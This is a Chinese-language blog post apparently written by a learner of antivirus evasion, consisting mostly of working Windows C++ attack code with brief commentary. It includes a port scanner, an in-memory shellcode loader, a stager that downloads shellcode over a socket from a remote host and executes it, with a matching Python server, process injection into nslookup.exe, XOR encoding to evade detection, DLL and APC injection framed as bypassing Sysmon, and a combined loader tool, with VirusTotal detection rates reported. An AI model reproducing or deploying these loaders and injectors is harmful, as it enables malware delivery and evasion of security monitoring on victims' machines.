基础知识

 
这里面原本是想学习一点免杀的,但是免杀涉及 Windows 的编程技巧太多了(但是又不想去拿别人的东西用,一是开源的东西很快就会被杀,二是不甘心自己就这样),于是决定在这里面补充一下知识点,希望自己能写出自己的免杀的程序和对后面学习 Windows 相关编程有用
 

SOCKET连接

 

主要API函数

 

初始化 WSADATA结构
int WSAStartup(
WORD wVersionRequested,  //调用的 Winsock版本( MAKEWORD(2,2); //调用2.2版本 )
LPWSADATA lpWSAData  //指向的 WSADATA的指针,返回详细信息
);

 

#include <WinSock2.h> //socks通信头文件
#include <iostream> //输入输出流头文件
#include <Windows.h> //系统调用头文件
#include <string>
#include <stdio.h>
#include <time.h>
#include <ws2tcpip.h> //ip转换头文件
#pragma comment(lib,"ws2_32.lib") //添加链接库
#pragma warning(disable:4996) //忽略警告
using namespace std;
int main()
{
    WSADATA wsd;
    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
    {
        cout << "WSAStartup Faild" << endl;
        return 0;
    }
    int port = 445;
    SOCKET sHost;
    SOCKADDR_IN ip;
    sHost = socket(AF_INET , SOCK_STREAM,IPPROTO_TCP);//
    if (INVALID_SOCKET == sHost)
    {
        cout << "Socket Failed!";
        WSACleanup();
        return -1;
    }
    ip.sin_family = AF_INET;
    ip.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    ip.sin_port = htons(port);
    int test = connect(sHost,(LPSOCKADDR)&ip,sizeof(ip));
    if (test == SOCKET_ERROR)
    {
        closesocket(sHost);
        return -1;
    }
    printf("%d端口开放!",port);
    return 0;
}

 

多线程实现端口扫描

 
主要API
 

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes, //指向结构的指针
  SIZE_T                  dwStackSize, // 堆栈的初始大小
  LPTHREAD_START_ROUTINE  lpStartAddress, //函数指针
  __drv_aliasesMem LPVOID lpParameter, //变量指针
  DWORD                   dwCreationFlags, //线程创建标志
  LPDWORD                 lpThreadId //线程标识符指针
);

DWORD WaitForSingleObject(
  HANDLE hHandle, //对象句柄
  DWORD  dwMilliseconds //超时时间间隔
);

 

#include <WinSock2.h> //socks通信头文件
#include <iostream> //输入输出流头文件
#include <Windows.h> //系统调用头文件
#include <string>
#include <stdio.h>
#include <time.h>
#include <ws2tcpip.h> //ip转换头文件
#pragma comment(lib,"ws2_32.lib") //添加链接库
#pragma warning(disable:4996) //忽略警告
using namespace std;

DWORD WINAPI PortScan(LPVOID port);
const char * ip_global;

int main(int argc ,char* argv[])
{
    if (argc < 3)
    {
        cout << "example: PortScan.exe ip max_port(1~max_port)" << endl;
        return 0;
    }
    ip_global = argv[1];
    WSADATA wsd;//
    HANDLE handle=NULL;//线程句柄
    DWORD dwThreadID;//现场ID
    clock_t start, end;
    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
    {
        cout << "WSAStartup Faild" << endl;
        return 0;
    }
    int min_port = 1;
    string test = argv[2];
    int max_port = atoi(test.c_str());
    start = clock();
    for (int i = min_port; i <= max_port; i++)
    {
        handle = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)PortScan,(LPVOID)i,0,&dwThreadID);
    }
    WaitForSingleObject(handle,INFINITE);//等待线程结束,设置超时时间
    end = clock();
    int time = end - start;
    printf("共用时 %d ms",time);
    system("pause");
    return 0;
}

DWORD WINAPI PortScan(LPVOID port) {
    int QAQ = (int)(LPVOID)port;
    SOCKET sHost;
    SOCKADDR_IN ip;
    sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
    if (INVALID_SOCKET == sHost)
    {
        cout << "Socket Failed!";
        WSACleanup();
        return -1;
    }
    ip.sin_family = AF_INET;
    ip.sin_addr.S_un.S_addr = inet_addr(ip_global);
    ip.sin_port = htons(QAQ);
    int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
    if (test == SOCKET_ERROR)
    {
        closesocket(sHost);
        return -1;
    }
    printf("%d端口开放!\n", port);
    return 0;
}

 
使用方法
 

PortScan.exe 127.0.0.1 12138

 
参考: https://github.com/lengjibo/RedTeamTools
 

简单申请内存空间载入Shellcode

 
主要API
 

LPVOID VirtualAlloc(
  LPVOID lpAddress, //起始指针
  DWORD dwSize, //指定大小
  DWORD flAllocationType, //分配类型
  DWORD flProtect //页属性
);

void CopyMemory(
  _In_       PVOID  Destination, //目标起始地址
  _In_ const VOID   *Source, // 要复制的起始地址
  _In_       SIZE_T Length //内存块的大小(字节为单位)
);


 

// VirtualAlloc.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
int main()
{
    DWORD dwThreadID;
    HANDLE handle;
    int shellcode_size;
    unsigned char buf[]="";
    shellcode_size = sizeof(buf);//
    char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
    CopyMemory(shellcode,buf,shellcode_size);//将Shellcode放进内存页
    handle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,NULL,&dwThreadID);//创建线程
    WaitForSingleObject(handle,INFINITE);//等待线程结束
    return 0;
}

 
将shellcode载入,就可以执行我们的恶意 payload
 

 
当然因为 shellcode的特征特别明显,很理所当然的被杀了
 

使用SOCKET发送Shellcode

 

#include <iostream>
#include <WinSock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma warning(disable:4996)
#pragma comment(lib,"winmm.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
using namespace std;

int main()
{
    if (1 == 1) {
        char bufcode[1024];
        WSADATA wsd;
        if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
        {
            cout << "WSAStartup Faild" << endl;
            return 0;
        }
        int port = 36444;
        SOCKET sHost;
        SOCKADDR_IN ip;
        sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
        if (INVALID_SOCKET == sHost)
        {
            cout << "Socket Failed!";
            WSACleanup();
            return -1;
        }
        ip.sin_family = AF_INET;
        ip.sin_addr.S_un.S_addr = inet_addr("192.168.10.209");
        ip.sin_port = htons(port);
        int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
        if (SOCKET_ERROR == test)
        {
            cout << "connect failed" << endl;
            closesocket(sHost);
            WSACleanup();
            return 0;
        }

        ZeroMemory(bufcode, 1024);
        recv(sHost, bufcode, 1024, 0);
        closesocket(sHost);
        WSACleanup();

        char* shellcode = (char*)VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        CopyMemory(shellcode, bufcode, 1024);
        DWORD ThreadID;
        HANDLE handle;
        handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &ThreadID);
        WaitForSingleObject(handle, INFINITE);
    }
    return 0;
}

 
Python
 

import socket
import threading
import time

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', 36444))
    s.listen(20)
    timeout = 10
    socket.setdefaulttimeout(timeout)
    while True:
        sock, addr = s.accept()
        t = threading.Thread(target=tcplink, args=(sock, addr))
        t.start()


def tcplink(sock, addr):
    print('Start download shellcode %s:%s...' % addr)
    shellcode = b"" #注意使用 Python的Shellcode
    print(len(shellcode))
    while True:
        sock.send(shellcode)
        sock.close()
    print('Finish %s:%s ' % addr)


if __name__ == '__main__':
    main()

 

进程注入

 

使用的API

 

参考 https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags

BOOL CreateProcess(
  LPCSTR                lpApplicationName,  // Executable
  LPSTR                 lpCommandLine,  // cmdline
  LPSECURITY_ATTRIBUTES lpProcessAttributes,  // Process handle
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // Thread handle 
  BOOL                  bInheritHandles,  //Set handle inheritance
  DWORD                 dwCreationFlags, //creation flags(CREATE_NO_WINDOW)
  LPVOID                lpEnvironment, //Use parent's environment block
  LPCSTR                lpCurrentDirectory,//Use parent's starting directory 
  LPSTARTUPINFOA        lpStartupInfo,//Pointer to STARTUPINFO structure
  LPPROCESS_INFORMATION lpProcessInformation//Pointer to PROCESS_INFORMATION structure
);

 

创建进程的Demo

 

#include <Windows.h>
#include <stdio.h>
#include <iostream>
int main(int argc, TCHAR * argv[]) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi,sizeof(pi));
    LPCWSTR executable = TEXT("C:\\Windows\\System32\\nslookup.exe");
    if (!CreateProcess(executable,
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {
        DWORD errCode = GetLastError();
        std::cout << "CreateProcess Faild:" << errCode << std::endl;
    }
    WaitForSingleObject(pi.hProcess,INFINITE);
    return 0;
}

 
参考:
https://lengjibo.github.io/syscall/

https://docs.microsoft.com/en-us/windows/win32/procthread/creating-processes
 

可以看到我们在 ProcessInjection中创建了一个新的进程
 

进程注入的API函数

 

//在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
//在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);
//创建一个在另一个进程的虚拟地址空间中运行的线程。
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

 

#include <Windows.h>
#include <stdio.h>
#include <iostream>
int main(int argc, TCHAR * argv[]) {
    unsigned char buf[] ="";//此处填写 shellcode,因为sellcode有特征建议用异或或者其他方式处理一下
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi,sizeof(pi));
    LPCWSTR executable = TEXT("C:\\Windows\\System32\\nslookup.exe");
    if (!CreateProcess(executable,
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {
        DWORD errCode = GetLastError();
        std::cout << "CreateProcess Faild:" << errCode << std::endl;
    }
    WaitForSingleObject(pi.hProcess,1000);
    LPVOID test;
    test = VirtualAllocEx(pi.hProcess,NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess,test,buf,sizeof(buf),NULL);
    CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)test,NULL,0,0);
    return 0;
}

 
当然直接 shellcode 的注入方式是不可取的,因为很多shellcode的特征已经被挖掘出来了,所以我们需要 加密 处理一下
 
https://payloads.online/archivers/2019-11-10/1

倾旋师傅的这个异或就不错
 

#include <Windows.h>
#include <stdio.h>
#include <iostream>
int main(int argc, TCHAR * argv[]) {
    unsigned char buf[] = "";//shellcode
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    for (int i = 0; i < sizeof(buf); i++) {
        buf[i] = buf[i] ^ 10;//异或处理
    }
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi,sizeof(pi));
    LPCWSTR executable = TEXT("C:\\Windows\\System32\\nslookup.exe");
    if (!CreateProcess(executable,
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {
        DWORD errCode = GetLastError();
        std::cout << "CreateProcess Faild:" << errCode << std::endl;
    }
    WaitForSingleObject(pi.hProcess,1000);
    LPVOID test;
    test = VirtualAllocEx(pi.hProcess,NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess,test,buf,sizeof(buf),NULL);
    CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)test,NULL,0,0);
    return 0;
}

 
看来国内杀软确实不行
 

 
参考资料
 
https://lengjibo.github.io/syscall/
 
google
 

Socket+进程注入

 

#include <iostream>
#include <WinSock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma warning(disable:4996)
#pragma comment(lib,"winmm.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
using namespace std;

int main()
{
    if (1 == 1) {
        char bufcode[1024];
        WSADATA wsd;
        if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
        {
            cout << "WSAStartup Faild" << endl;
            return 0;
        }
        int port = 36444;
        SOCKET sHost;
        SOCKADDR_IN ip;
        sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
        if (INVALID_SOCKET == sHost)
        {
            cout << "Socket Failed!";
            WSACleanup();
            return -1;
        }
        ip.sin_family = AF_INET;
        ip.sin_addr.S_un.S_addr = inet_addr("192.168.43.189");
        ip.sin_port = htons(port);
        int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
        if (SOCKET_ERROR == test)
        {
            cout << "connect failed" << endl;
            closesocket(sHost);
            WSACleanup();
            return 0;
        }

        ZeroMemory(bufcode, 1024);
        recv(sHost, bufcode, 1024, 0);
        closesocket(sHost);
        WSACleanup();


        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));
        LPCWSTR executable = TEXT("C:\\Windows\\System32\\nslookup.exe");

        if (!CreateProcess(executable,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
            DWORD errCode = GetLastError();
            std::cout << "CreateProcess Faild:" << errCode << std::endl;
        }
        WaitForSingleObject(pi.hProcess, 1000);
        LPVOID testflag;
        testflag = VirtualAllocEx(pi.hProcess, NULL, sizeof(bufcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(pi.hProcess, testflag, bufcode, sizeof(bufcode), NULL);
        CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)testflag, NULL, 0, 0);
    }
    return 0;
}

 
服务端代码
 

import socket
import threading
import time

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', 36444))
    s.listen(20)
    timeout = 10
    socket.setdefaulttimeout(timeout)
    while True:
        sock, addr = s.accept()
        t = threading.Thread(target=tcplink, args=(sock, addr))
        t.start()


def tcplink(sock, addr):
    print('Start download shellcode %s:%s...' % addr)
    shellcode = b"" #Here is shellcode
    print(len(shellcode))
    while True:
        sock.send(shellcode)
        sock.close()
    print('Finish %s:%s ' % addr)


if __name__ == '__main__':
    main()

 

Dll注入

 

用到的API函数

 

//打开现有的本地过程对象
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);
//从指定的动态链接库(DLL)检索导出的函数或变量的地址
FARPROC GetProcAddress(
  HMODULE hModule,
  LPCSTR  lpProcName
);
//将指定的模块加载到调用进程的地址空间中。指定的模块可能会导致其他模块被加载。
HMODULE LoadLibraryW(
  LPCWSTR lpLibFileName
);

//还有一些其他的用到的上方进程注入一样的API

 

 

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    HANDLE ProcessHandle;
    if (argc < 2) {
        printf("Usage: xxx.exe pid");
        return 0;
    }
    TCHAR dllpath[] = TEXT("C:\\users\\mikasa\\1.dll");
    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));//打开进程获取有所有权限的进程句柄
    if (ProcessHandle == NULL) {
        printf("OpenProcess Fail!");
        return 0;
    }
    LPVOID test = VirtualAllocEx(ProcessHandle,NULL,sizeof dllpath,MEM_COMMIT,PAGE_READWRITE);//在进程中申请空间,将dll的路径放进去,返回申请的内存基地址
    BOOL flag = WriteProcessMemory(ProcessHandle,test,(LPVOID)dllpath,sizeof dllpath,NULL);//在指定的进程中将数据写入内存数据
    if (!flag) {
        printf("WriteProcessMemory fail!");
    }
    PTHREAD_START_ROUTINE thread = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");//因为是要加载DLL,所有使用GetProcAddress获取LoadLibraryW地址加载dll
    CreateRemoteThread(ProcessHandle,NULL,0,thread,test,0,NULL);//在进程中创建线程
    CloseHandle(ProcessHandle);//关闭句柄
    return 0;
}

 

进程名会显示为你注入的那个进程
 

绕过Sysmon对CreateRemoteThread的监控(APC注入)

 

#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using std::vector;

bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
    auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return false;
    pid = 0;
    PROCESSENTRY32 pe = { sizeof(pe) };
    if (::Process32First(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, exeName) == 0) {
                pid = pe.th32ProcessID;
                THREADENTRY32 te = { sizeof(te) };
                if (::Thread32First(hSnapshot, &te)) {
                    do {
                        if (te.th32OwnerProcessID == pid) {
                            tids.push_back(te.th32ThreadID);
                        }
                    } while (::Thread32Next(hSnapshot, &te));
                }
                break;
            }
        } while (::Process32Next(hSnapshot, &pe));
    }
    ::CloseHandle(hSnapshot);
    return pid > 0 && !tids.empty();
}

void main()
{
    DWORD pid;
    vector<DWORD> tids;
    if (FindProcess(L"notepad++.exe", pid, tids))
    {
        printf("OpenProcess\n");
        HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
        printf("VirtualAllocEx\n");
        auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        wchar_t buffer[] = L"c:\\users\\mikasa\\1.dll";
        printf("WriteProcessMemory\n");
        ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
        for (const auto& tid : tids)
        {
            printf("OpenThread\n");
            HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
            if (hThread)
            {
                printf("GetProcAddress\n");
                ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);
            }
        }
        printf("VirtualFreeEx\n");
        ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
    }
}

 
三好学生师傅的demo
 

反射型DLL

 
参考倾旋师傅

https://payloads.online/archivers/2020-03-02/1#%E5%8F%8D%E5%B0%84-dll%E6%B3%A8%E5%85%A5
 
https://payloads.online/archivers/2020-01-02/1
 
先生成一个DLL试试
 

 
使用Def文件导出
 
使用LoadLibrary的方式加载
 

#include <iostream>
#include <Windows.h>
typedef void (*msg)(void);


int main() {
    msg RunMsg;
    HMODULE hbadcode = LoadLibrary(TEXT("C:\\Users\\mikasa\\source\\repos\\DllTest\\Debug\\DllTest.dll"));//取得DLL句柄

    RunMsg = (msg)GetProcAddress(hbadcode,"msg");//得到 msg函数基地址
    RunMsg();//运行
    FreeLibrary(hbadcode);//释放句柄
    return 0;
}

 

 
使用反射型DLL(太难了,先放在这边吧)
 

写的一个联和这几天学习的程序(Socket 加载 shellcode/进程注入)

 
test.h
 

#pragma once
#include <WinSock2.h>
#include <Windows.h>
#include <iostream>
#include <winbase.h>
#include <tchar.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"winmm.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
char bufcode[1024];
class test
{
public:
    test(std::string method);
    void GetRun();
    void ShellcodeLoad();
    void ProcessInjection();
    void GetShellcode(char addr[],char port[]);
private:
    std::string method;
    SOCKET sHost = NULL;
    SOCKADDR_IN ip;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
};

 
test.cpp
 

#include "test.h"
#pragma warning(disable:4996)

test::test(std::string method) {
    this->method = method;
}

void test::ProcessInjection() {

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    LPCWSTR executable = TEXT("C:\\Windows\\System32\\nslookup.exe");
    if (!CreateProcess(executable,
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {
        DWORD errCode = GetLastError();
        std::cout << "CreateProcess Faild:" << errCode << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 1000);
    WaitForSingleObject(pi.hProcess, 1000);
    LPVOID test;
    test = VirtualAllocEx(pi.hProcess, NULL, sizeof(bufcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, test, bufcode, sizeof(bufcode), NULL);
    CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)test, NULL, 0, 0);
}

void test::ShellcodeLoad() {
    char* shellcode = (char*)VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(shellcode, bufcode, 1024);
    DWORD ThreadID;
    HANDLE handle;
    handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &ThreadID);
    WaitForSingleObject(handle, INFINITE);
}
void test::GetRun() {
    std::string demo1 = "ProcessInjection";
    std::string demo2 = "shellcodeload";
    if (!(this->method.compare(demo2))) {
        this->ShellcodeLoad();
    }
    else {
        this->ProcessInjection();
    }
}
void test::GetShellcode(char addr[], char port[]) {
    WSADATA wsd;
    ip.sin_family = AF_INET;
    ip.sin_addr.S_un.S_addr = inet_addr(addr);
    ip.sin_port = htons((short)atoi(port));
    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
    {
        std::cout << "WSAStartup Faild" << std::endl;
        //return 0;
        exit(0);
    }
    sHost = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);
    if (INVALID_SOCKET == sHost) {
        std::cout << "Socket Failed!";
        WSACleanup();
        //return -1;
        exit(0);
    }
    int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
    if (SOCKET_ERROR == test) {
        std::cout << "Connect faild" << std::endl;
        closesocket(sHost);
        WSACleanup();
        exit(0);
    }
    ZeroMemory(bufcode, 1024);
    recv(sHost, bufcode, 1024, 0);
    closesocket(sHost);
    WSACleanup();
}
int main(int argc, char* argv[]) {
    std::cout << argc;
    if (argc < 4) {
        std::cout<<"Usage: xxxx.exe ip port shellcodeload/ProcessInjection"<<std::endl;
        return 0;
    }
    std::string str = argv[3];
    test * aa = new test(str);
    aa->GetShellcode(argv[1], argv[2]);
    aa->GetRun();
    return 0;
}

 

在当前进程申请空间,创建线程执行 shellcode

xxx.exe ip port shellcodeload

创建新的一个进程(nslookup.exe,可以自行更改),获取进程句柄,申请空间,创建线程执行 shellcode

xxx.exe ip port

 
后语: 单独挑出来说,最开始的SOCKET是最好的,在Vt上面能做到1~2杀,但是不好的一点就是,不注入进程的话,一旦在当前进程中做一些小动作可能会被捕获到(例如注册表的操作)

进程注入的话主要可能就是API函数太敏感了,导致被杀的比较多,但是对于后面的渗透挺有帮助的,例如修改注册表BypassUac等查的不会太严
 

posted @ 2020-10-18 16:50  Zahad003  阅读(340)  评论(0编辑  收藏  举报